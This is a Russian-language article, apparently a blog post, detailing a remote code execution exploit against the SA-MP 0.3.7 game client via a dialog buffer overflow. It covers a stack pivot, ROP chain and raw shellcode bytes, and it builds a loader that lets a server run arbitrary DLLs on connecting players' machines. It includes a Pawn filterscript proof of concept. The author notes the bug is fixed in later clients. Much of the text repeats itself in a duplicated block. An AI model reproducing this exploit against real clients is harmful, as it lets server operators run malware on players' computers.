Эта статья на английском / This article in English
Всех приветствую. Наверняка многие слышали про какие-то там уязвимости в SA-MP, про странную аббревиатуру RCE, про версии клиента R4, R4-2, R5, которые содержат какие-то там исправления этих самых уязвимостей и которыми никто практически не пользуется. Что ж, настало время подробно раскрыть всю информацию.
Для полного понимания данной статьи и всего происходящего необходим будет некий багаж знаний по C++, ассемблеру и реверс инжинирингу. Однако, если таковых знаний у вас нет, я всё равно постараюсь изложить информацию наиболее доступно, в духе эдакого детектива, где ничего не понятно, но очень интересно. Кто знает, может именно эта статья вдохновит вас изучать данную сферу и навсегда изменит вашу жизнь... Ну да ладно, что-то я отвлёкся. Приступим.
Введение.
Итак, что это за уязвимость такая и что означает RCE? В общем случае RCE, то бишь Remote Code Execution, то бишь удалённое исполнение кода, - это такая уязвимость, которая позволяет удалённо исполнять свой код в приложении. Другими словами, если говорить от лица, эксплуатирующего уязвимость, вы можете запустить произвольный код (программу), используя уязвимую программу. Если говорить от лица потенциальной жертвы, у вас могут запустить произвольный код без вашего ведома и скрытно от вас. Грубо говоря, хакер может заставить уязвимую программу скачать другую программу и запустить её. Собственно, в нашем случае этой самой "уязвимой программой" является SA-MP.
Откуда берутся подобные уязвимости? В результате допускаемых ошибок при разработке программы, и SA-MP в этом плане не исключение. Зачастую такие ошибки случаются из-за возможности выходы за границы массивов, что позволяет записывать произвольные данные в другие участки памяти.
Поиск и раскручивание такой уязвимости до полноценного RCE можно условно разделить на следующие этапы:
1. Поиск потенциального уязвимого места в программе.
2. Анализ потенциальных возможностей и способов использования.
3. Разработка первичного шелл-кода, который откроет для нас врата для полноценного выполнения произвольного кода.
4. Разработка сценария использования найденного RCE.
Что ж, приступим.
Этап 1. Поиск.
Для обнаружения уязвимости необходимо целенаправленно реверсить приложение в тех местах, где происходит обработка поступающих внешних данных, в поисках потенциальных переполнений и прочих ошибок. Иногда ещё может помочь фаззинг, но здесь мы его рассматривать не будем. Я буду использовать версию клиента 0.3.7 R3-1, а также IDA Pro + Hex-Rays в качестве дизассемблера и декомпилятора. Также возьму уже готовую наработанную базу для IDA под версию R3-1 от LUCHARE.
Т.к. я уже знаю, где находится уязвимость, я просто продемонстрирую условную последовательность действий, как её можно было бы найти. Итак, рассмотрим обработчик RPC ShowDialog по адресу 1000F7B0:
Тут всё ок, взглянем теперь CDialog::Open, там находится большая конструкция switch-case в зависимости от стиля диалога. Рассмотрим ветку кода для типа 2, т.е. для DIALOG_STYLE_LIST. Там сразу вызывается функция sub_1006F4A0 (я её переименую в CDialog::PrepareListbox для удобства), посмотрим её:
Тут происходит разбитие буфера szText для строчек в диалоге. Используется локальный буфер на 264 элемента, все необходимые проверки присутствуют. Но теперь заглянем в CDialog::GetTextScreenLength:
Эта функция использует локальный буфер, чтобы поместить в неё строчку, вычленить цветовые коды {xxxxxx} и посчитать ширину текста для последующего формирования диалогового окна. И опа, тут локальный массив на 132 ячейки, а сюда передаётся массив на 264 элемента. Взглянем, как он расположен на стеке:
Эта функция не сохраняет никаких регистров на стеке, в том числе и значение esp вызвавшей функции, а сам массив расположен "на дне" стека, поэтому за ним идёт сразу адрес возврата. А это означает, что если мы передадим в диалог одну единую строку без переносов длиной 132, то мы заполним этот локальный массив полностью, а если добавим ещё 4 байта, то полностью перезапишем адрес возврата. Набросаем тестовый filterscript с использованием плагина Pawn.RakNet:
Здесь создаётся строка из 132 пробелов, а дальше идёт адрес 0x44332211. Загрузим fs, зайдём на сервер и введём команду:
Вуаля, получаем краш по этому адресу! Таким образом, на данном этапе мы можем перейти по произвольному адресу.
Этап 2. Анализ.
Итак, мы можем перепрыгнуть на любой абсолютный адрес, а это значит, что наша следующая цель - записать куда-нибудь в исполняемую (это важно) память свой код и перейти по этому адресу. И здесь нас ждёт ряд серьёзных проблем.
Проблема первая. Записывать свой код нужно не абы куда, а в исполняемую память, т.е. в регион, в котором одновременно есть права и на запись, и на исполнение.
Проблема вторая. Строка с содержимым диалогом передаётся в виде текста, при этом в структуре RPC диалога он сжимается алгоритмами в библиотеке ракнета, а нулевой символ (0x00) является признаком конца строки. Это означает, что мы не можем передать строку, содержащие нули, а они нам весьма нужны.
Проблема третья. В функции CDialog::PrepareListbox одна строка ограничена 256 символами, и переполнение у нас происходит после 132-го, что означает, что мы можем выйти за границы на 124 байта. Потенциально этого может быть либо недостаточно, либо достаточно, но осложнит задачу, т.к. нам надо и манипуляции со стеком провести, и свой код загнать, и не какие-то там байты, а килобайты и даже мегабайты.
Столкнувшись с такими проблемами, может показаться, что в данном случае уязвимость реализовать вообще не получится, однако к этим проблемам нужен комплексный подход, нужно знать некоторые особенности и нюансы.
На самом деле, проблем могло быть гораздо больше, в современном софте существуют всякие stack canary, ASLR, PIE и прочие ужасы, но мы имеем дело с древней GTA San Andreas и с SA-MP'ом, где подобных штук нет или они отключены намерено. К тому же сам по себе SA-MP является модом, который грязно хакает память игры, что порой нам только упрощает работу.
В частности, SA-MP патчит память игры, устанавливая свои хуки. По умолчанию исполняемая память защищена от записи, так что SA-MP вынужден ставить исполняемым страницам памяти право на запись, чтобы записать свои хуки. Право ставится всей странице целиком, т.к. нельзя поставить права только на какие-то конкретные байты. При этом SA-MP забывает вернуть оригинальные права странице, т.е. снять право на запись, поэтому остаются регионы, в которых допустима запись и исполнение одновременно. Карту памяти можно посмотреть, например, в Cheat Engine:
Мне приглянулся регион с адресом 0x00866000, размером 4кб (это размер одной страницы), этого будет достаточно. По тому адресу находятся строки для сохранения игровой статистики в html файл. Это фича никогда не используется, так что там можно спокойно перезаписать их. Но пока запомним и отложим этот адрес, вернёмся к нему позже.
Также хочется отметить одну особенность SA-MP: у него есть фича изменения гравитации, т.е. с сервера можно установить произвольное значение. Как это реализовано? Очень просто - клиент просто записывает полученное значение по статическому адресу в самой игре. Вот только есть одна маленькая, но очень важная мелочь: при этом зачем-то устанавливается возможность исполнения этого кода. Т.к. гравитация это float, т.е. 4 байта, мы можем записать 4 байта исполняемого кода по известному нам адресу. Казалось бы, это всего лишь 4 байта, но к ним мы тоже вернёмся чуть позже и, поверьте, они сыграют решающую роль.
А сейчас о более насущных проблемах. Итак, на данном этапе мы можем выйти за границы буфера на стеке, перезаписать адрес возврата, тем самым можем прыгнуть на любой известный статический адрес и не более. Мы пока что не можем ни записать свой код, ни тем более вызвать его. Но мы можем вызывать уже существующий в игре код! А точнее, только необходимые нам фрагменты. Эта техника называется ROP, то бишь Return-Oriented Programming. Например, у нас по адресу 0x00555550 находятся вот такие инструкции: pop ecx; ret; а по адресу 0x00444440 находится pop edi; ret; Пользуясь нашим переполнением буфера, мы записываем на стек следующее:
0x00555550, 0x00000011, 0x00444440, 0x00000022
При этом произойдёт вот что:
1) Когда исполнится инструкция ret в нашей CDialog::GetTextScreenLength, произойдёт переход по адресу 0x00555550, регистр esp будет указывать на значение 0x00000011
2) По адресу 0x00555550 исполнится инструкция pop ecx, т.е. из стека достанется значение и присвоится в регистр ecx. А что у нас там на вершине стека? Правильно, 0x00000011, значит это значение и запишется в регистр ecx, а регистр esp сметится ниже на значение 0x00444440
3) Дальше исполнится инструкция ret. Произойдёт переход по адресу 0x00444440, регистр esp будет указывать на 0x00000022
4) По адресу 0x00444440 исполнится инструкция pop edi, в регистр edi присвоится значение 0x00000022
и т.д.
Таким образом, с помощью таких цепочек, именуемых rop chains, мы можем манипулировать регистрами, а также вызывать другие необходимые нам команды, в частности, на копирование данных из одной области памяти в другую. Сами вызываемые фрагменты кода именуются гаджетами, и главная здесь сложность - найти подходящие гаджеты среди всего кода игры. Специально для поиска гаджетов созданы такие инструменты как radare2, ROPgadget и другие, но мы не будем их рассматривать в рамках этой статьи.
Но у нас есть другая проблема, не позволяющая нам записывать нули в строку, а для rop chain'ов они нам нужны. Для решения этой (и не только) проблемы используется приём, называемый stack pivoting, заключающийся в изменении значения esp. Как вариант, мы можем разместить наши rop chains в более подходящем месте, а затем подменить esp на это самое "подходящее место". Вопрос: как подменять esp? Ответ: всё так же, с помощью гаджета. В совокупности найти подходящее место для rop chains и найти подходящий гаджет для stack pivoting может быть самой сложной задачей, возможно даже без решения, и, как следствие, без возможности реализовать уязвимость, но у нас здесь уникальный случай.
Помимо самого текста диалога, в RPC ещё передаётся строка заголовка и строки левой и правой кнопки. Если изучить код обработчика RPC_ShowDialog можно заметить, что там происходит чтение заданного количества байт из битстрима в локальный массив. Длина при этом ограничена 256 символами, и неограничена присутствием нулевых символов. Отлично, можно спокойно использовать один из этих трёх массивов, я возьму caption. Теперь вопрос - как добраться до него на стеке? В этом нам поможет регистр ebp. Из всей цепочки вызовов RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength сохранение esp в ebp происходит в CDialog::PrepareListbox, т.е. в ebp хранится значение esp из CDialog::Open в момент вызова CDialog::PrepareListbox. IDA может нам слегка подсказать, где находится указатель на caption относительно esp в CDialog::Open:
Но не спешите расслабляться. В процессе своей работы CDialog::Open сохраняет на стеке значения одного из регистров (+1), пушит 2 аргумента в CDialog::PrepareListbox (+2), вызывает её (+1), и сама CDialog::PrepareListbox сохраняет на стек регистр ebp (+1). Т.е. у нас сохранённый esp ещё был сдвинут вверх на 5 позиций, а, значит, к 0x28 надо прибавить 5 раз по 4, т.е. 0x14. Получим 0x3C.
Можно посчитать и другим путём, включив в IDA отображение в листинге указателя стека:
Прибавить к нему сдвиг при call (+0x4), push ebp в вызванной функции (ещё +0x4), и прибавить сдвиг на сам caption:
Итого 0x28+0x4+0x4+0xC=0x3C.
Но вообще, я бы не рекомендовал считать таким образом, т.к. тут легко ошибиться и пропустить что-либо. Гораздо лучше вычислить сдвиг эмпирическим путём: взять отладчик, поставить брикпоинт, отправить диалог с неким текстом в caption, при срабатывании брикпоинта пролистать окно стека и найти там указатель на caption по указанному ранее тексту, посчитать разницу между ним и значением ebp.
Итак, чтобы выставить esp на массив caption, нам нужно:
И затем выполнить ret, чтобы перейти по адресу гаджета, который уже будет указан в начале caption. Но такой гаджет 1 в 1 мы найти не сможем, т.к. компиляторы не генерируют подобный код, а найти аналог из последовательностей нескольких гаджетов может быть достаточно проблематично. Но зачем искать, когда мы сами можем записать такой гаджет? Настало время для нашей гравитации!
Для преобразования ассемблерного кода в машинные коды я буду использовать этот сайт. Получим следующий код:
Это значит, что можно выставить значение гравитации 0xC33C658B, затем вызвать диалог с переполнением на адрес переменной гравитации, и у нас вершина стека сдвинется на caption! Но не стоит торопиться. Заглянув в память по адресу переменной гравитации, а именно 0x00863984, можно заметить, что сразу за этой переменной следующим значением идёт 0xC3, а у нас последняя инструкция тоже 0xC3. При этом, если представить 0xC33C658B в виде float, получится значение -188.396652222, что довольно негативно может повлиять на игру, т.к. дефолтное значение неотрицательное и равняется 0.008, могут появиться аномалии и игра вообще может повиснуть, так что мы можем немного пожонглировать с инструкциями, чтобы значение оказалось приближенным к 0.008. Наилучшей будет такая комбинация:
Т.е. значение 0x3C658B90, которое во float представлении будет 0.0140103250742, что даже и не сильно-то отличается от оригинала. Но мы в любом случае в конце восстановим оригинальное значение.
Что ж, обновим наш filterscript, а именно:
1. Запишем в переполняющую строку text адрес гравитации, где у нас гаджет с stack pivoting.
2. Вместо текста запишем в caption произвольный адрес (в дальнейшем там у нас будут rop chains).
3. Напишем функцию установки гравитации игроку через Pawn.RakNet. Также реализуем отправку RPC гравитации и диалога в отдельном канале очередёности с гарантией доставки RELIABLE_ORDERED, чтобы RPC пришли строго в порядке отправления, и укажем низкий приоритет (это будет полезно в будущем).
Компилируем, загружаем, заходим, вводим команду, получаем краш по адресу 0x99887766, как мы и указали.
Отлично! Самое сложное позади, теперь мы можем перейти к этапу разработки rop chains и первичного шелла.
Этап 3. Разработка
Теперь перед нами стоит 2 задачи. Первая - нам надо найти такую последовательность гаджетов, которая скопирует нам шеллкод со стека в исполняемую память. Вторая - собственно, написать этот шеллкод, его мы будем размещать следом за гаджетами в caption. Нужно помнить, что мы ограничены 256 байтами, а шеллкод должен помочь нам развернуть более крупный код, нежели пару сотен байт.
Для копирования участков памяти используются инструкции rep movsb/movsw/movsd. В регистр edi помещается адрес куда копировать, в регистр esi - откуда, в регистр ecx - кол-во итераций. Значит нам нужно найти примерно 4 гаджета. Начнём с поиска гаджета для копирования. Просмотрев все подобные инструкции в коде игры, нашёлся один такой, который оказался очень интересен:
Тут у нас заодно очень удобно устанавливается регистр esi, причём туда загружается адрес со стека. Как раз то, что нам нужно, и одним гаджетом на установку esi меньше.
Начнём записывать наш rop chain. Установим адрес возврата на инструкцию lea:
После выполнения копирования в гаджете из стека достаются значения в edi и esi. Нам они не нужны, поэтому просто укажем нули для корректности стека:
Затем, нужно указать адрес для следующего перехода. Т.к. к этому моменту наш шеллкод будет скопирован, мы передадим управление ему. На прошлом этапе мы определили, что будем копировать наш шеллкод по адресу 0x00866000. Его и укажем:
Теперь нам надо посчитать, где размещать шеллкод. Т.к. инструкция выглядит следующим образом:
то это означает:
Значит, после последнего адреса возврата надо уступить одну позицию. Поместим туда тоже нули. В итоге, наш rop chain на данном этапе будет выглядеть так:
Теперь надо найти гаджет для установки значения в edi. Тут всё просто, надо найти последовательность команд pop edi; ret. В бинарном виде это будет 0x5F, 0xC3, поэтому просто найдём данную последовательность байт в коде игры. Она нашлась по адресу 0x00402E8D. Значит, наш rop chain будет выглядеть теперь так:
И наконец, последнее: надо найти гаджет для установки значения в ecx. Аналогичным образом ищем pop ecx; ret и находим по адресу 0x00402715. Только тут нам надо посчитать, сколько именно байт копировать. Давайте посмотрим:
Максимум массив caption может быть длиной 256. Из них 9 позиций в стеке уходит на наши rop chains, это 36 байт. Т.е. наш шеллкод начнётся с 37-го байта и может быть максимум до 256-й. Скопируем целиком всё до конца, даже если итоговый шеллкод окажется меньше. Значит нам потребуется скопировать 256-36 байт, то есть 220. Важно учесть, что movsd копирует по 4 байта за итерацию, значит итераций у нас будет 55, то есть 0x37:
Давайте подытожим, что мы имеем на данном этапе. Итак, сначала мы отправляем клиенту специфичное значение гравитации, в которой содержится код для stack pivoting. Затем осуществляем переполнение с помощью диалога, из-за чего при возврате из функции CDialog::GetTextScreenLength управление переходит не обратно в CDialog::PrepareListbox, откуда она была вызвана, а в наш код stack pivoting. Там подменяется указатель на стек, а именно устанавливается на массив caption из RPC_ShowDialog, в котором с помощью манипуляций возвратами мы копируем наш шеллкод в исполняемую память и передаём управление ему.
Наша первая задача с rop chains решена, перейдём ко второй - написанию этого самого шеллкода. И здесь нас ждут две, так сказать, подзадачи. Во-первых, после всех этих манипуляций у нас "сломан" стек, мы должны его вернуть в корректное состояние и осуществить корректное дальнейшее исполнение программы, будто бы ничего и не было. Ну и во-вторых, загрузить более объёмный код и исполнить его.
Напомню, что у нас была следующая цепочка вызовов: RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength. Вместо возврата в CDialog::PrepareListbox мы перешли в выполнение нашего шеллкода. Логично было бы вернуться обратно непосредственно в CDialog::PrepareListbox, но, во-первых, в этом нет необходимости (т.к. там нет ничего важного, что требовало бы возвращения туда), а во-вторых для простоты реализации мы будем "мимикрировать" под CDialog::PrepareListbox и в конце вернём управление в CDialog::Open.
Для начала нам надо выставить указатель на стек туда, где он должен был быть при возвращении из CDialog::GetTextScreenLength. В этом нам снова поможет регистр ebp, только теперь надо посчитать оффсет в другую сторону. Снова обратимся к подсказкам IDA Pro:
В момент после вызова CDialog::GetTextScreenLength стек у CDialog::PrepareListbox смещён на 0x12C, но т.к. мы будем восстанавливаться относительно ebp, а CDialog::PrepareListbox в самом начале сохраняет предыдущее значение ebp на стек, сдвигая тем самым стек на 4 байта, то мы должны отнять у 0x12C эти 4 байта и получим 0x128. Значит, первая инструкция по восстановлению указателя на стек в нашем шеллкоде будет иметь вид:
Далее нам нужно вернуться обратно в CDialog::Open, а поэтому просто скопируем эпилог функции CDialog::PrepareListbox в наш шеллкод:
На данном этапе я предлагаю проверить работоспособность шеллкода, а для наглядности добавить команду установки значения денег игроку:
Наш шеллкод примет вид:
а в бинарном представлении: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
Обновим наш filterscript:
Заходим в игру, вводим команду, получаем результат:
Всё работает! Правда, остаётся открытым пустой диалог. Но SA-MP позволяет закрыть любой открытый диалог, отправив диалог с отрицательным id. Воспользуемся этим. Здесь мы также не будем пользоваться нативной функцией, а напишем свою, чтобы отправлять RPC в отдельном канале очерёдности:
Этап 4.
Теперь нам предстоит выполнить что-то посерьёзнее. Например, загрузить и запустить .exe или подгрузить .dll. Рассмотрим вариант с dll. Традиционно, здесь нас ждёт ряд проблем, которые нам предстоит решить. Итак, WinAPI функция LoadLibrary не позволяет произвести загрузку напрямую из памяти, она может загружать только из файла. Можно из шеллкода создавать файл, помещать туда содержимое, а затем подгружать его. Но такое поведение может не понравится антивирусам и другим системам защиты, и в общем случае работать ненадёжно и нестабильно, так что отложим этот вариант. Есть способы подгрузки dll из памяти, однако они весьма сложны и объёмны, реализация этих способов так же не поместится в доступные нам ~200 байт. Можно скомпилировать dll таким образом, чтобы она не использовала импорты и размещала свой код по фиксированному адресу, а затем брать этот код и размещать его в доступные области памяти самой игры по тем же адресам. Этот вариант имеет право на жизнь и даже рабочий, но крайне неудобный и ограничивающий. К счастью, с этой проблемой сталкивались и другие разработчики, а поэтому уже есть готовое решение, под названием sRDI. В рамках этой статьи я не буду вдаваться в подробности и принципы работы данного решения, лишь вкратце озвучку необходимую для нас важную информацию. Этот инструмент модифицирует dll таким образом, чтобы она сама загрузилась, при этом достаточно передать управление первому её байту.
Значит, теперь перед нами стоит вполне конкретная задача: передать саму dll, выделить под неё память с правами записи и исполнения, скопировать туда, вызвать. Главный вопрос здесь в том, как именно передать с сервера на клиент килобайты или даже мегабайты потенциальной dll. Да всё максимально просто, можно просто записать её в конец битстрима RPC ShowDialog! Т.к. там записывается в конце сжатый text, необходимо выровнять по байту указатель на запись. Теперь задача стала ещё конкретнее и яснее: в нашем шеллкоде необходимо выделить память, скопировать туда данные из битстрима, вызвать. Также неплохо было бы, чтобы наш шеллкод сам определял, какого размера у нас dll и выделял соответствующий объём памяти. Что ж, приступим.
Сперва нам надо добраться до битстрима. Помните, в гаджете для stack pivoting мы добирались до указателя на caption через ebp? Этот caption был во стекфрейме обработчика RPC ShowDialog. Объект битстрима находится там же. Посмотрим:
Да он прям перед этим caption и лежит!
Далее из структуры BitStream нам нужны поля numberOfBitsUsed, readOffset и указатель на данные data. Они лежат в самом начале, по оффсетам +0x0, +0x8 и +0xC соответственно. readOffset и numberOfBitsUsed мы переведём из бит в байты и вычтем первое из второго, тем самым получив количество непрочитанных байт. Т.к. мы записываем в конец битстрима нашу dll, а SA-MP читает только структуру для диалога, то количество непрочитанных байт и будет размером, который нам необходимо выделить для копирования.
Подглядеть как выполняется перевод из бит в байты можно в исходниках RakNet:
Мы сделаем аналогично. Поместим в регистры ecx, edx, esi значения numberOfBitsUsed, readOffset и data соответственно, переведём из бит в байты, затем из ecx вычтем edx чтобы получить размер dll, а к esi наоборот прибавим edx, чтобы получить указатель на начало нашей dll, а не начало всех данных. Таким образом, часть работы с битстримом у нас будет иметь вид:
Теперь нам нужно выделить память. Делается это с помощью функции WinAPI VirtualAlloc, её адрес есть в таблице импортов игры по адресу 0x8581A4:
Согласно документации функции, нам нужно вызвать эту функцию с flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. В dwSize нам надо передать размер выделяемого участка памяти, в lpAddress необходимо передать 0. После выполнения адрес выделенного участка будет помещён в регистр eax. Также важно помнить, что при вызове подобных функций могут быть затёрты значения в регистрах ebx, ecx, edx, поэтому перед вызовом необходимо их значения сохранить на стеке, а после вызова - восстановить. В нашем случае регистры eax (указатель на битстрим) и edx (readOffset) нам больше не нужны, ebx мы не используем, а вот ecx нам ещё понадобится, поэтому перед вызовом его надо сохранить. Также мы поместим возвращённое в eax значение в edi для дальнейшего копирования. Таким образом, часть с выделением памяти у нас будет иметь вид:
После этого у нас в edi помещён адрес выделенной памяти, куда нужно копировать, в esi - откуда копировать, ecx - сколько копировать. Поэтому мы можем запустить цикл копирования:
А затем передать управление dll:
Целиком наш шеллкод будет выглядеть следующим образом:
Уложились в 77 байт, отлично.
Для проверки работоспособности я предлагаю написать простенький asi-мод, модифицировать с помощью sRDI, прочитать из pawn и записать его в битстрим. Пусть это будет тоже самое изменение денег, но уже из asi:
Скомпилируем, прогоним через sRDI:
Обновим наш filterscript, вставив новый шеллкод и добавив чтение dll из файла и запись в битстрим, не забыв при этом сделать выравнивание:
Заходим в игру, вводим команду, ждём некоторое время, пока RPC будет передан на клиент, т.к. он теперь достаточно объёмный, и... всё работает! Поздравляю, мы только что с вами сделали sasi loader, то бишь Server ASI Loader. Теперь вы можете подгружать с сервера на клиент любые dll, которые захотите. Но помните, что загрузка вредоносных программ карается по закону.
Заключение
Что ж, благодарю, что прочитали данную статью. Буду рад вашим комментариям, замечаниям, вопросам. В заключение отмечу, что написанный шеллкод будет работать на всех ревизиях 0.3.7, т.к. в них нет отличий в тех функциях, с которыми мы работали. Судя по всему, данная уязвимость появилась с момента появления системы диалогов, то есть с версии 0.3a (2009), и на данный момент уже исправлена в последней версии клиента R5 (2022). Конечно, фикс можно реализовать и для других версий с помощью тех же модов asi или даже lua. Строго рекомендуется использовать последнюю версию SA-MP со всеми исправлениями, а также не заходить на те сервера, которые вызывают у вас подозрение и которым вы не доверяете.
P.S. понравилась статья? будьте на связи, у меня для вас есть ещё кое-что интересное ;)
Всех приветствую. Наверняка многие слышали про какие-то там уязвимости в SA-MP, про странную аббревиатуру RCE, про версии клиента R4, R4-2, R5, которые содержат какие-то там исправления этих самых уязвимостей и которыми никто практически не пользуется. Что ж, настало время подробно раскрыть всю информацию.
Для полного понимания данной статьи и всего происходящего необходим будет некий багаж знаний по C++, ассемблеру и реверс инжинирингу. Однако, если таковых знаний у вас нет, я всё равно постараюсь изложить информацию наиболее доступно, в духе эдакого детектива, где ничего не понятно, но очень интересно. Кто знает, может именно эта статья вдохновит вас изучать данную сферу и навсегда изменит вашу жизнь... Ну да ладно, что-то я отвлёкся. Приступим.
Введение.
Итак, что это за уязвимость такая и что означает RCE? В общем случае RCE, то бишь Remote Code Execution, то бишь удалённое исполнение кода, - это такая уязвимость, которая позволяет удалённо исполнять свой код в приложении. Другими словами, если говорить от лица, эксплуатирующего уязвимость, вы можете запустить произвольный код (программу), используя уязвимую программу. Если говорить от лица потенциальной жертвы, у вас могут запустить произвольный код без вашего ведома и скрытно от вас. Грубо говоря, хакер может заставить уязвимую программу скачать другую программу и запустить её. Собственно, в нашем случае этой самой "уязвимой программой" является SA-MP.
Откуда берутся подобные уязвимости? В результате допускаемых ошибок при разработке программы, и SA-MP в этом плане не исключение. Зачастую такие ошибки случаются из-за возможности выходы за границы массивов, что позволяет записывать произвольные данные в другие участки памяти.
Поиск и раскручивание такой уязвимости до полноценного RCE можно условно разделить на следующие этапы:
1. Поиск потенциального уязвимого места в программе.
2. Анализ потенциальных возможностей и способов использования.
3. Разработка первичного шелл-кода, который откроет для нас врата для полноценного выполнения произвольного кода.
4. Разработка сценария использования найденного RCE.
Что ж, приступим.
Этап 1. Поиск.
Для обнаружения уязвимости необходимо целенаправленно реверсить приложение в тех местах, где происходит обработка поступающих внешних данных, в поисках потенциальных переполнений и прочих ошибок. Иногда ещё может помочь фаззинг, но здесь мы его рассматривать не будем. Я буду использовать версию клиента 0.3.7 R3-1, а также IDA Pro + Hex-Rays в качестве дизассемблера и декомпилятора. Также возьму уже готовую наработанную базу для IDA под версию R3-1 от LUCHARE.
Т.к. я уже знаю, где находится уязвимость, я просто продемонстрирую условную последовательность действий, как её можно было бы найти. Итак, рассмотрим обработчик RPC ShowDialog по адресу 1000F7B0:
Тут всё ок, взглянем теперь CDialog::Open, там находится большая конструкция switch-case в зависимости от стиля диалога. Рассмотрим ветку кода для типа 2, т.е. для DIALOG_STYLE_LIST. Там сразу вызывается функция sub_1006F4A0 (я её переименую в CDialog::PrepareListbox для удобства), посмотрим её:
Тут происходит разбитие буфера szText для строчек в диалоге. Используется локальный буфер на 264 элемента, все необходимые проверки присутствуют. Но теперь заглянем в CDialog::GetTextScreenLength:
Эта функция использует локальный буфер, чтобы поместить в неё строчку, вычленить цветовые коды {xxxxxx} и посчитать ширину текста для последующего формирования диалогового окна. И опа, тут локальный массив на 132 ячейки, а сюда передаётся массив на 264 элемента. Взглянем, как он расположен на стеке:
Эта функция не сохраняет никаких регистров на стеке, в том числе и значение esp вызвавшей функции, а сам массив расположен "на дне" стека, поэтому за ним идёт сразу адрес возврата. А это означает, что если мы передадим в диалог одну единую строку без переносов длиной 132, то мы заполним этот локальный массив полностью, а если добавим ещё 4 байта, то полностью перезапишем адрес возврата. Набросаем тестовый filterscript с использованием плагина Pawn.RakNet:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>
new const RPC_ShowDialog = 61;
new payload1[] =
{
// +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44
};
new BitStream:payload_bs;
public OnFilterScriptInit()
{
payload_bs = BS_New();
BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteString8(payload_bs, "this is caption"); // caption
BS_WriteString8(payload_bs, "left button"); // left button
BS_WriteString8(payload_bs, "right button"); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
}
public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);
return 1;
}
return 0;
}
Вуаля, получаем краш по этому адресу! Таким образом, на данном этапе мы можем перейти по произвольному адресу.
Этап 2. Анализ.
Итак, мы можем перепрыгнуть на любой абсолютный адрес, а это значит, что наша следующая цель - записать куда-нибудь в исполняемую (это важно) память свой код и перейти по этому адресу. И здесь нас ждёт ряд серьёзных проблем.
Проблема первая. Записывать свой код нужно не абы куда, а в исполняемую память, т.е. в регион, в котором одновременно есть права и на запись, и на исполнение.
Проблема вторая. Строка с содержимым диалогом передаётся в виде текста, при этом в структуре RPC диалога он сжимается алгоритмами в библиотеке ракнета, а нулевой символ (0x00) является признаком конца строки. Это означает, что мы не можем передать строку, содержащие нули, а они нам весьма нужны.
Проблема третья. В функции CDialog::PrepareListbox одна строка ограничена 256 символами, и переполнение у нас происходит после 132-го, что означает, что мы можем выйти за границы на 124 байта. Потенциально этого может быть либо недостаточно, либо достаточно, но осложнит задачу, т.к. нам надо и манипуляции со стеком провести, и свой код загнать, и не какие-то там байты, а килобайты и даже мегабайты.
Столкнувшись с такими проблемами, может показаться, что в данном случае уязвимость реализовать вообще не получится, однако к этим проблемам нужен комплексный подход, нужно знать некоторые особенности и нюансы.
На самом деле, проблем могло быть гораздо больше, в современном софте существуют всякие stack canary, ASLR, PIE и прочие ужасы, но мы имеем дело с древней GTA San Andreas и с SA-MP'ом, где подобных штук нет или они отключены намерено. К тому же сам по себе SA-MP является модом, который грязно хакает память игры, что порой нам только упрощает работу.
В частности, SA-MP патчит память игры, устанавливая свои хуки. По умолчанию исполняемая память защищена от записи, так что SA-MP вынужден ставить исполняемым страницам памяти право на запись, чтобы записать свои хуки. Право ставится всей странице целиком, т.к. нельзя поставить права только на какие-то конкретные байты. При этом SA-MP забывает вернуть оригинальные права странице, т.е. снять право на запись, поэтому остаются регионы, в которых допустима запись и исполнение одновременно. Карту памяти можно посмотреть, например, в Cheat Engine:
Мне приглянулся регион с адресом 0x00866000, размером 4кб (это размер одной страницы), этого будет достаточно. По тому адресу находятся строки для сохранения игровой статистики в html файл. Это фича никогда не используется, так что там можно спокойно перезаписать их. Но пока запомним и отложим этот адрес, вернёмся к нему позже.
